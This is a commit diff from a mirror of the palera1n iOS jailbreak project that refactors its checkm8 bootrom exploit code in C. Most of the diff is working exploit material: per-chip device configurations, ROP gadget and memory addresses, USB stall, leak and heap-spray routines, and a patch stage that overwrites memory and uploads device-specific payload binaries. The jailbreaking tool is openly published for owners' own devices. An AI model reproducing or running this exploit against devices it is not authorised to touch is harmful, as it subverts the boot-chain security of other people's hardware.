mirror of
https://github.com/palera1n/palera1n.git
synced 2026-10-21 09:47:01 +02:00
refactor: openra1n & pongo detection
This commit is contained in:
30 files changed
+1298
-1447
No files matched your search
@@ -1,294 +0,0 @@
|
||||
#include "payload.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "../utils/log.h"
|
||||
|
||||
extern uint8_t payloads_yolo_s8000_bin[], payloads_yolo_s8001_bin[], payloads_yolo_s8003_bin[], payloads_yolo_t7000_bin[], payloads_yolo_t7001_bin[], payloads_yolo_t8010_bin[], payloads_yolo_t8011_bin[], payloads_yolo_t8015_bin[];
|
||||
extern unsigned payloads_yolo_s8000_bin_len, payloads_yolo_s8001_bin_len, payloads_yolo_s8003_bin_len, payloads_yolo_t7000_bin_len, payloads_yolo_t7001_bin_len, payloads_yolo_t8010_bin_len, payloads_yolo_t8011_bin_len, payloads_yolo_t8015_bin_len;
|
||||
|
||||
extern uint8_t payloads_Pongo_bin[], payloads_shellcode_bin[];
|
||||
extern unsigned payloads_Pongo_bin_len, payloads_shellcode_bin_len;
|
||||
|
||||
#include "../gen/payloads/yolo_s8000.h"
|
||||
#include "../gen/payloads/yolo_s8001.h"
|
||||
#include "../gen/payloads/yolo_s8003.h"
|
||||
#include "../gen/payloads/yolo_t7000.h"
|
||||
#include "../gen/payloads/yolo_t7001.h"
|
||||
#include "../gen/payloads/yolo_t8010.h"
|
||||
#include "../gen/payloads/yolo_t8011.h"
|
||||
#include "../gen/payloads/yolo_t8015.h"
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(
|
||||
int cpid,
|
||||
struct DeviceConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
case 0x8012:
|
||||
case 0x8011:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x540;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case 0x8010:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 5;
|
||||
break;
|
||||
case 0x8001:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case 0x8003:
|
||||
case 0x8000:
|
||||
case 0x7001:
|
||||
case 0x7000:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x500;
|
||||
config->config_hole = 0;
|
||||
break;
|
||||
default:
|
||||
LOG("CPID 0x%x is not supported!", cpid);
|
||||
if (cpid > 0x8015) {
|
||||
LOG("arm64e devices (A12 and newer) will never be supported.");
|
||||
}
|
||||
|
||||
foundMatchingConfiguration = false;
|
||||
break;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
bool checkm8_find_payload_configuration_for_cpid(
|
||||
int cpid,
|
||||
struct PayloadConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->nop_gadget = 0x10000A9C4;
|
||||
config->ret_gadget = 0x100000148;
|
||||
config->patch_addr = 0x10000624C;
|
||||
config->ttbr0_addr = 0x18000C000;
|
||||
config->func_gadget = 0x10000A9AC;
|
||||
config->write_ttbr0 = 0x10000045C;
|
||||
config->memcpy_addr = 0x10000E9D0;
|
||||
config->aes_crypto_cmd = 0x100009E9C;
|
||||
config->boot_tramp_end = 0x18001C000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003A78;
|
||||
config->dfu_handle_request = 0x180008638;
|
||||
config->usb_core_do_transfer = 0x10000B9A8;
|
||||
config->dfu_handle_bus_reset = 0x180008668;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BCCC;
|
||||
config->usb_create_string_descriptor = 0x10000AE80;
|
||||
config->usb_serial_number_string_descriptor = 0x1800008FA;
|
||||
break;
|
||||
case 0x8012:
|
||||
config->tlbi = 0x100000494;
|
||||
config->nop_gadget = 0x100008DB8;
|
||||
config->ret_gadget = 0x10000012C;
|
||||
config->patch_addr = 0x100004854;
|
||||
config->ttbr0_addr = 0x18000C000;
|
||||
config->func_gadget = 0x100008DA0;
|
||||
config->write_ttbr0 = 0x100000444;
|
||||
config->memcpy_addr = 0x10000EA30;
|
||||
config->aes_crypto_cmd = 0x1000082AC;
|
||||
config->boot_tramp_end = 0x18001C000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003AF8;
|
||||
config->dfu_handle_request = 0x180008B08;
|
||||
config->usb_core_do_transfer = 0x10000BD20;
|
||||
config->dfu_handle_bus_reset = 0x180008B38;
|
||||
config->insecure_memory_base = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BFFC;
|
||||
config->usb_create_string_descriptor = 0x10000B1CC;
|
||||
config->usb_serial_number_string_descriptor = 0x18000082A;
|
||||
break;
|
||||
case 0x8011:
|
||||
config->tlbi = 0x100000444;
|
||||
config->nop_gadget = 0x10000CD0C;
|
||||
config->ret_gadget = 0x100000148;
|
||||
config->patch_addr = 0x100007630;
|
||||
config->ttbr0_addr = 0x1800A0000;
|
||||
config->func_gadget = 0x10000CCEC;
|
||||
config->write_ttbr0 = 0x1000003F4;
|
||||
config->memcpy_addr = 0x100010950;
|
||||
config->aes_crypto_cmd = 0x10000C994;
|
||||
config->boot_tramp_end = 0x1800B0000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083D28;
|
||||
config->dfu_handle_request = 0x180088A58;
|
||||
config->usb_core_do_transfer = 0x10000DD64;
|
||||
config->dfu_handle_bus_reset = 0x180088A88;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000E08C;
|
||||
config->usb_create_string_descriptor = 0x10000D234;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
break;
|
||||
case 0x8010:
|
||||
config->tlbi = 0x100000434;
|
||||
config->nop_gadget = 0x10000CC6C;
|
||||
config->ret_gadget = 0x10000015C;
|
||||
config->patch_addr = 0x1000074AC;
|
||||
config->ttbr0_addr = 0x1800A0000;
|
||||
config->func_gadget = 0x10000CC4C;
|
||||
config->write_ttbr0 = 0x1000003E4;
|
||||
config->memcpy_addr = 0x100010730;
|
||||
config->aes_crypto_cmd = 0x10000C8F4;
|
||||
config->boot_tramp_end = 0x1800B0000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083CF8;
|
||||
config->dfu_handle_request = 0x180088B48;
|
||||
config->usb_core_do_transfer = 0x10000DC98;
|
||||
config->dfu_handle_bus_reset = 0x180088B78;
|
||||
config->insecure_memory_base = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000DFB8;
|
||||
config->usb_create_string_descriptor = 0x10000D150;
|
||||
config->usb_serial_number_string_descriptor = 0x1800805DA;
|
||||
break;
|
||||
case 0x8001:
|
||||
config->tlbi = 0x100000404;
|
||||
config->nop_gadget = 0x10000CD60;
|
||||
config->ret_gadget = 0x100000118;
|
||||
config->patch_addr = 0x100007668;
|
||||
config->ttbr0_addr = 0x180050000;
|
||||
config->func_gadget = 0x10000CD40;
|
||||
config->write_ttbr0 = 0x1000003B4;
|
||||
config->memcpy_addr = 0x1000106F0;
|
||||
config->aes_crypto_cmd = 0x10000C9D4;
|
||||
config->boot_tramp_end = 0x180044000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180047578;
|
||||
config->dfu_handle_request = 0x18004C378;
|
||||
config->usb_core_do_transfer = 0x10000DDA4;
|
||||
config->dfu_handle_bus_reset = 0x18004C3A8;
|
||||
config->insecure_memory_base = 0x180000000;
|
||||
config->handle_interface_request = 0x10000E0B4;
|
||||
config->usb_create_string_descriptor = 0x10000D280;
|
||||
config->usb_serial_number_string_descriptor = 0x18004486A;
|
||||
break;
|
||||
case 0x8003:
|
||||
case 0x8000:
|
||||
config->patch_addr = 0x10000812C;
|
||||
config->ttbr0_addr = 0x1800C8000;
|
||||
config->memcpy_addr = 0x100011030;
|
||||
config->aes_crypto_cmd = 0x10000DAA0;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->ttbr0_vrom_off = 0x400;
|
||||
config->ttbr0_sram_off = 0x600;
|
||||
config->gUSBSerialNumber = 0x180087958;
|
||||
config->dfu_handle_request = 0x1800878F8;
|
||||
config->usb_core_do_transfer = 0x10000EE78;
|
||||
config->dfu_handle_bus_reset = 0x180087928;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x10000F1B0;
|
||||
config->usb_create_string_descriptor = 0x10000E354;
|
||||
config->usb_serial_number_string_descriptor = 0x1800807DA;
|
||||
break;
|
||||
case 0x7001:
|
||||
config->patch_addr = 0x10000AD04;
|
||||
config->memcpy_addr = 0x100013F10;
|
||||
config->aes_crypto_cmd = 0x100010A90;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x180088E48;
|
||||
config->dfu_handle_request = 0x180088DF8;
|
||||
config->usb_core_do_transfer = 0x100011BB4;
|
||||
config->dfu_handle_bus_reset = 0x180088E18;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x100011EE4;
|
||||
config->usb_create_string_descriptor = 0x100011074;
|
||||
config->usb_serial_number_string_descriptor = 0x180080C2A;
|
||||
break;
|
||||
case 0x7000:
|
||||
config->patch_addr = 0x100007E98;
|
||||
config->memcpy_addr = 0x100010E70;
|
||||
config->aes_crypto_cmd = 0x10000DA90;
|
||||
config->boot_tramp_end = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x1800888C8;
|
||||
config->dfu_handle_request = 0x180088878;
|
||||
config->usb_core_do_transfer = 0x10000EBB4;
|
||||
config->dfu_handle_bus_reset = 0x180088898;
|
||||
config->insecure_memory_base = 0x180380000;
|
||||
config->handle_interface_request = 0x10000EEE4;
|
||||
config->usb_create_string_descriptor = 0x10000E074;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
break;
|
||||
default:
|
||||
LOG("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
void create_pongo_payload_for_device(
|
||||
uint16_t cpid,
|
||||
uint8_t **payload,
|
||||
size_t *payloadSize)
|
||||
{
|
||||
LOG("Preparing YoloDFU payload for CPID 0x%x.", cpid);
|
||||
|
||||
*payload = NULL;
|
||||
*payloadSize = 0;
|
||||
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
*payloadSize = payloads_yolo_t8015_bin_len;
|
||||
*payload = payloads_yolo_t8015_bin;
|
||||
break;
|
||||
|
||||
case 0x8011:
|
||||
*payloadSize = payloads_yolo_t8011_bin_len;
|
||||
*payload = payloads_yolo_t8011_bin;
|
||||
break;
|
||||
|
||||
case 0x8010:
|
||||
*payloadSize = payloads_yolo_t8010_bin_len;
|
||||
*payload = payloads_yolo_t8010_bin;
|
||||
break;
|
||||
|
||||
case 0x8003:
|
||||
*payloadSize = payloads_yolo_s8003_bin_len;
|
||||
*payload = payloads_yolo_s8003_bin;
|
||||
break;
|
||||
|
||||
case 0x8001:
|
||||
*payloadSize = payloads_yolo_s8001_bin_len;
|
||||
*payload = payloads_yolo_s8001_bin;
|
||||
break;
|
||||
|
||||
case 0x8000:
|
||||
*payloadSize = payloads_yolo_s8000_bin_len;
|
||||
*payload = payloads_yolo_s8000_bin;
|
||||
break;
|
||||
|
||||
case 0x7001:
|
||||
*payloadSize = payloads_yolo_t7001_bin_len;
|
||||
*payload = payloads_yolo_t7001_bin;
|
||||
break;
|
||||
|
||||
case 0x7000:
|
||||
*payloadSize = payloads_yolo_t7000_bin_len;
|
||||
*payload = payloads_yolo_t7000_bin;
|
||||
break;
|
||||
|
||||
default:
|
||||
LOG("Failed to prepare payload for device with CPID 0x%x.", cpid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
-1019
File diff suppressed because it is too large.
Load diff
@@ -1,90 +0,0 @@
|
||||
#ifndef RUN_H
|
||||
#define RUN_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifndef __APPLE__
|
||||
# include <libusb-1.0/libusb.h>
|
||||
# include <openssl/evp.h>
|
||||
# include <stdbool.h>
|
||||
# include <string.h>
|
||||
# include <stddef.h>
|
||||
#else
|
||||
# include <CommonCrypto/CommonCrypto.h>
|
||||
# include <CoreFoundation/CoreFoundation.h>
|
||||
# include <IOKit/IOCFPlugIn.h>
|
||||
# include <IOKit/usb/IOUSBLib.h>
|
||||
#endif
|
||||
|
||||
#include "dfu.h"
|
||||
|
||||
#define APPLE_VID (0x5AC)
|
||||
#define DFU_MODE_PID (0x1227)
|
||||
#define MAX_BLOCK_SZ (0x50)
|
||||
#define EP0_MAX_PACKET_SZ (0x40)
|
||||
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
|
||||
|
||||
#define USB_TIMEOUT (5)
|
||||
|
||||
#ifdef __APPLE__
|
||||
# if TARGET_OS_IPHONE
|
||||
# define kUSBPipeStalled kUSBHostReturnPipeStalled
|
||||
# else
|
||||
# define kUSBPipeStalled kIOUSBPipeStalled
|
||||
# endif
|
||||
#endif
|
||||
|
||||
#ifndef MIN
|
||||
# define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
enum exploit_stage {
|
||||
STAGE_PREPARE = 0,
|
||||
STAGE_RESET = 1,
|
||||
STAGE_SETUP = 2,
|
||||
STAGE_SPRAY = 3,
|
||||
STAGE_PATCH = 4,
|
||||
STAGE_PONGO = 5,
|
||||
STAGE_JAILBREAK = 6,
|
||||
STAGE_DONE = 7,
|
||||
};
|
||||
|
||||
enum usb_transfer {
|
||||
USB_TRANSFER_OK,
|
||||
USB_TRANSFER_ERROR,
|
||||
USB_TRANSFER_STALL
|
||||
};
|
||||
|
||||
typedef struct {
|
||||
enum usb_transfer ret;
|
||||
uint32_t sz;
|
||||
} transfer_ret_t;
|
||||
|
||||
typedef struct {
|
||||
uint16_t vid, pid;
|
||||
#ifndef __APPLE__
|
||||
struct libusb_device_handle *device;
|
||||
#else
|
||||
io_service_t serv;
|
||||
IOUSBDeviceInterface320 **device;
|
||||
CFRunLoopSourceRef async_event_source;
|
||||
#endif
|
||||
} usb_handle_t;
|
||||
|
||||
typedef bool (*usb_check_cb_t)(usb_handle_t *, void *);
|
||||
|
||||
bool gaster_checkm8(usb_handle_t *handle);
|
||||
int checkm8();
|
||||
bool checkm9();
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // RUN_H
|
||||
+1
-1
@@ -5,7 +5,7 @@
|
||||
#include "wx/AppFrame.hpp"
|
||||
#include "state.hpp"
|
||||
#include "sequence.hpp"
|
||||
#include "utils/log.h"
|
||||
#include "utils.h"
|
||||
|
||||
#include <wx/wx.h>
|
||||
#include <thread>
|
||||
|
||||
@@ -0,0 +1,200 @@
|
||||
#include "checkm8.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#include "payload.h"
|
||||
#include "dfu.h"
|
||||
|
||||
#include "../utils.h"
|
||||
#include "../usb/usb_shim.h"
|
||||
|
||||
static struct {
|
||||
uint8_t b_len, b_descriptor_type;
|
||||
uint16_t bcd_usb;
|
||||
uint8_t b_device_class, b_device_sub_class, b_device_protocol, b_max_packet_sz;
|
||||
uint16_t id_vendor, id_product, bcd_device;
|
||||
uint8_t i_manufacturer, i_product, i_serial_number, b_num_configurations;
|
||||
} device_descriptor;
|
||||
|
||||
static bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
|
||||
struct {
|
||||
uint8_t status, poll_timeout[3], state, str_idx;
|
||||
} dfu_status;
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request(handle, 0xA1, DFU_GET_STATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status)
|
||||
&& dfu_status.status == status && dfu_status.state == state;
|
||||
}
|
||||
|
||||
static bool dfu_set_state_wait_reset(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
|
||||
}
|
||||
|
||||
bool checkm8_stage_reset(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
if(send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == DFU_FILE_SUFFIX_LEN
|
||||
&& dfu_set_state_wait_reset(handle) && send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == EP0_MAX_PACKET_SZ)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
for(;;) {
|
||||
if(send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SZ, usb_abort_timeout, &transfer_ret)
|
||||
&& transfer_ret.sz < deviceConfig->config_overwrite_pad
|
||||
&& send_usb_control_request_no_data(handle, 0, 0, 0, 0, deviceConfig->config_overwrite_pad - transfer_ret.sz, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_STALL)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SZ, NULL);
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_leak(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0;
|
||||
}
|
||||
|
||||
static void checkm8_stall(const usb_handle_t *handle) {
|
||||
unsigned usb_abort_timeout = USB_TIMEOUT - 1;
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
for(;;) {
|
||||
if(send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ && checkm8_usb_request_leak(handle)) {
|
||||
break;
|
||||
}
|
||||
usb_abort_timeout = (usb_abort_timeout + 1) % (USB_TIMEOUT + 1);
|
||||
}
|
||||
}
|
||||
|
||||
static bool checkm8_no_leak(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_async_no_data(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret)
|
||||
&& transfer_ret.sz == 0;
|
||||
}
|
||||
|
||||
static bool checkm8_usb_request_stall(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_STALL;
|
||||
}
|
||||
|
||||
char *get_usb_serial_number(usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
uint8_t buf[UINT8_MAX];
|
||||
char *str = NULL;
|
||||
size_t i, sz;
|
||||
|
||||
if(send_usb_control_request(handle, 0x80, 6, 1U << 8U, 0, &device_descriptor, sizeof(device_descriptor), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(device_descriptor)
|
||||
&& send_usb_control_request(handle, 0x80, 6, (3U << 8U) | device_descriptor.i_serial_number, 0x409, buf, sizeof(buf), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == buf[0]
|
||||
&& (sz = buf[0] / 2) != 0 && (str = malloc(sz)) != NULL)
|
||||
{
|
||||
for(i = 0; i < sz; ++i) {
|
||||
str[i] = (char)buf[2 * (i + 1)];
|
||||
}
|
||||
str[sz - 1] = '\0';
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
|
||||
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig) {
|
||||
size_t i;
|
||||
|
||||
if(deviceConfig->config_large_leak == 0) {
|
||||
if(deviceConfig->cpid == 0x7001 || deviceConfig->cpid == 0x7000 || deviceConfig->cpid == 0x7002 || deviceConfig->cpid == 0x8003 || deviceConfig->cpid == 0x8000) {
|
||||
while(!checkm8_usb_request_stall(handle) || !checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
} else {
|
||||
checkm8_stall(handle);
|
||||
for(i = 0; i < deviceConfig->config_hole; ++i) {
|
||||
while(!checkm8_no_leak(handle)) {}
|
||||
}
|
||||
while(!checkm8_usb_request_leak(handle) || !checkm8_no_leak(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 3 * EP0_MAX_PACKET_SZ + 1, NULL);
|
||||
} else {
|
||||
for(i = 0; i < deviceConfig->config_large_leak; ++i) {
|
||||
while(!checkm8_usb_request_stall(handle)) {}
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
||||
size_t i, data_sz, packet_sz;
|
||||
uint8_t *payload = NULL;
|
||||
uint8_t *data;
|
||||
transfer_ret_t transfer_ret;
|
||||
bool ret = false;
|
||||
|
||||
void* blank[DFU_MAX_TRANSFER_SZ];
|
||||
memset(blank, 0, DFU_MAX_TRANSFER_SZ);
|
||||
uint64_t* p = (uint64_t*)blank;
|
||||
p[5] = payloadConfig->insecure_memory_base;
|
||||
|
||||
create_pongo_payload_for_device(deviceConfig->cpid, &payload, &data_sz);
|
||||
|
||||
if (payload == NULL || data_sz == 0) {
|
||||
LOG("unsupported cpid 0x%X", (unsigned)deviceConfig->cpid);
|
||||
return false;
|
||||
}
|
||||
|
||||
LOG("setting up stage 2 for CPID 0x%X", (unsigned)deviceConfig->cpid);
|
||||
|
||||
data = calloc(1, data_sz);
|
||||
if (!data) {
|
||||
LOG("failed to allocate payload buffer");
|
||||
return false;
|
||||
}
|
||||
|
||||
memcpy(data, payload, data_sz);
|
||||
|
||||
if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) {
|
||||
LOG("successfully leaked data");
|
||||
} else {
|
||||
LOG("failed to leak data");
|
||||
return false;
|
||||
}
|
||||
for(i = 0; i < 2; i++) {
|
||||
LOG("i = %zu", i);
|
||||
send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, NULL);
|
||||
}
|
||||
if(p != NULL && send_usb_control_request(handle, 0x00, 0, 0, 0x00, p, 0x30, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) {
|
||||
ret = true;
|
||||
for(i = 0; ret && i < data_sz; i += packet_sz) {
|
||||
packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ);
|
||||
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL);
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 0x21, 4, 0, 0, 0, NULL);
|
||||
}
|
||||
free(data);
|
||||
return ret;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#ifndef CHECKM8_H
|
||||
#define CHECKM8_H
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
#include "payload.h"
|
||||
|
||||
#include "../usb/usb_shim.h"
|
||||
|
||||
#define EP0_MAX_PACKET_SZ (0x40)
|
||||
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
|
||||
|
||||
#ifndef MIN
|
||||
# define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||
#endif
|
||||
|
||||
bool checkm8_stage_reset(const usb_handle_t *handle);
|
||||
bool checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||
bool checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
|
||||
bool checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
|
||||
|
||||
#endif // CHECKM8_H
|
||||
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,286 @@
|
||||
#include "payload.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "../utils.h"
|
||||
|
||||
extern uint8_t payloads_yolo_s8000_bin[], payloads_yolo_s8001_bin[], payloads_yolo_s8003_bin[], payloads_yolo_t7000_bin[], payloads_yolo_t7001_bin[], payloads_yolo_t8010_bin[], payloads_yolo_t8011_bin[], payloads_yolo_t8015_bin[];
|
||||
extern unsigned payloads_yolo_s8000_bin_len, payloads_yolo_s8001_bin_len, payloads_yolo_s8003_bin_len, payloads_yolo_t7000_bin_len, payloads_yolo_t7001_bin_len, payloads_yolo_t8010_bin_len, payloads_yolo_t8011_bin_len, payloads_yolo_t8015_bin_len;
|
||||
|
||||
extern uint8_t payloads_Pongo_bin[], payloads_shellcode_bin[];
|
||||
extern unsigned payloads_Pongo_bin_len, payloads_shellcode_bin_len;
|
||||
|
||||
#include "../gen/payloads/yolo_s8000.h"
|
||||
#include "../gen/payloads/yolo_s8001.h"
|
||||
#include "../gen/payloads/yolo_s8003.h"
|
||||
#include "../gen/payloads/yolo_t7000.h"
|
||||
#include "../gen/payloads/yolo_t7001.h"
|
||||
#include "../gen/payloads/yolo_t8010.h"
|
||||
#include "../gen/payloads/yolo_t8011.h"
|
||||
#include "../gen/payloads/yolo_t8015.h"
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(
|
||||
int cpid,
|
||||
struct DeviceConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
case 0x8012:
|
||||
case 0x8011:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x540;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case 0x8010:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 5;
|
||||
break;
|
||||
case 0x8001:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x5C0;
|
||||
config->config_hole = 6;
|
||||
break;
|
||||
case 0x8003:
|
||||
case 0x8000:
|
||||
case 0x7001:
|
||||
case 0x7000:
|
||||
config->cpid = cpid;
|
||||
config->config_large_leak = 0;
|
||||
config->config_overwrite_pad = 0x500;
|
||||
config->config_hole = 0;
|
||||
break;
|
||||
default:
|
||||
LOG("CPID 0x%x is not supported!", cpid);
|
||||
if (cpid > 0x8015) {
|
||||
LOG("arm64e devices (A12 and newer) will never be supported.");
|
||||
}
|
||||
|
||||
foundMatchingConfiguration = false;
|
||||
break;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
bool checkm8_find_payload_configuration_for_cpid(
|
||||
int cpid,
|
||||
struct PayloadConfiguration *config)
|
||||
{
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->nop_gadget = 0x10000A9C4;
|
||||
config->ret_gadget = 0x100000148;
|
||||
